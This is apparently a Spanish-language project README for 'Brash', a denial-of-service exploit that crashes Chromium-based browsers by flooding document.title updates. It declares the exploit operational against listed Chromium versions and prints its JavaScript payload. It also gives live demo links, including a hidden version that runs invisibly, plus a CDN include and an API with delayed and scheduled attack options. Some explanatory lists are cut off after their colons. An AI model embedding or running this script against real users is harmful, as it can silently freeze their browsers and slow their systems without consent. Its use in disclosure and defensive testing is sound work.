
Ataque DoS al navegador Chromium mediante la explotación de document.title

Brash es una vulnerabilidad crítica en Blink, el motor de renderizado que impulsa los navegadores basados en Chromium de Google. Permite que cualquier navegador Chromium colapse en 15-60 segundos al explotar una falla arquitectónica en la forma en que se gestionan ciertas operaciones del DOM.
El vector de ataque se origina en la ausencia total de limitación de frecuencia (rate limiting) en las actualizaciones de la API document.title. Esto permite inyectar millones de mutaciones del DOM por segundo, y durante este intento de inyección satura el hilo principal, interrumpiendo el bucle de eventos y provocando el colapso de la interfaz. El impacto es significativo: consume altos recursos de CPU, degrada el rendimiento general del sistema y puede detener o ralentizar otros procesos que se ejecutan simultáneamente. Al afectar a los navegadores Chromium en entornos de escritorio, Android y embebidos, esta vulnerabilidad expone a más de 3 mil millones de personas en internet a una denegación de servicio a nivel de sistema.
ESTADO: Operativo
VERSIONES AFECTADAS: Chromium ≤ 143.0.7483.0 (probadas: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)
[!NOTE] El exploit está actualmente operativo. Una vez que la vulnerabilidad sea parcheada, este código dejará de funcionar. Aun así, descubrir esta falla arquitectónica y completar todo el proceso de investigación, documentación y diseño para compartir algo impactante con el mundo ha sido un viaje increíblemente gratificante.
Se probaron 11 navegadores principales en macOS, Windows y Linux para validar el impacto de la vulnerabilidad.
Todos los navegadores basados en Chromium son vulnerables porque la falla existe en el núcleo del motor de renderizado Blink:
Brash explota una falla arquitectónica fundamental en el motor de renderizado Blink: la ausencia de limitación (throttling) en las actualizaciones de document.title. El ataque opera en tres fases críticas:
Genera 100 cadenas hexadecimales únicas de 512 caracteres y las almacena en memoria antes de iniciar el ataque.
¿Por qué precargarlas en lugar de generarlas en tiempo real?
Porque generar nuevas cadenas constantemente consume tiempo de CPU en operaciones matemáticas. Ese tiempo es crítico: cada milisegundo dedicado a generar cadenas es tiempo NO utilizado para bombardear el navegador con actualizaciones de document.title.
Al tener 100 cadenas ya cargadas en memoria:
Como resultado, logramos la máxima velocidad de inyección con el máximo consumo de memoria por actualización.
// Generates high-entropy unique IDs
gid: function() {
let id = "";
for (let i = 0x0; i < 0x200; i++) {
id += ((Math.random() * 0x10) | 0x0).toString(0x10);
}
return id;
}
Ejecuta ráfagas configurables de actualizaciones de título. Con la configuración predeterminada (burst: 8000, interval: 1ms), intenta inyectar aproximadamente 24 millones de actualizaciones por segundo, y es durante este intento cuando comienza el colapso del navegador.
// Triple-update pattern: maximizes rendering pipeline thrashing
inject: function() {
const t = this.titles[Math.random() * this.titles.length | 0x0];
for (let i = 0x0; i < 0x3; i++) {
document.title = t + i; // Each burst performs 3 sequential updates
}
this.counter += 0x3;
}
Las actualizaciones continuas saturan el hilo principal del navegador, impidiendo el procesamiento de otros eventos:
Cronología del colapso:
¿Por qué funciona?
Blink procesa cada cambio de document.title de forma síncrona en el hilo principal sin limitación de frecuencia. Esto crea un cuello de botella que:
Para comprender completamente el impacto de Brash, puedes experimentar el exploit en diferentes contextos, desde una demostración en vivo controlada hasta tu propia implementación. Cada opción está diseñada para diferentes niveles de interacción y comprensión técnica.
La forma más rápida de ver Brash en acción. Visita https://brash.run
Para ver el exploit sin interfaz gráfica, visita https://brash.run/hidden-live-demo.html. Esta versión ejecuta la inyección de forma invisible, simulando un ataque real.
Si prefieres ejecutar la demo en tu propio entorno, el directorio exploit-demo/ incluido en el repositorio te permite:
Simplemente abre exploit-demo/index.html en cualquier navegador Chromium y configura los valores burst e interval antes de comenzar.
Para integrar Brash en tus propias pruebas de seguridad o investigaciones, incluye el script y configura el ataque:
Incluye el script:
<!-- Local -->
<script src="brash.js"></script>
<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>
Uso de la API:
// 1. Immediate attack
Brash.run({
burstSize: 8000,
interval: 1
});
// 2. Delay in seconds (default)
Brash.run({
burstSize: 8000,
interval: 1,
delay: 30 // 30 seconds
});
// 3. Delay with strings
Brash.run({
burstSize: 8000,
interval: 1,
delay: "30s" // or "5000ms" or "3m"
});
// 4. Scheduled attack
Brash.run({
burstSize: 8000,
interval: 1,
scheduled: "2025-10-18T09:30:00"
});
Configuraciones de intensidad: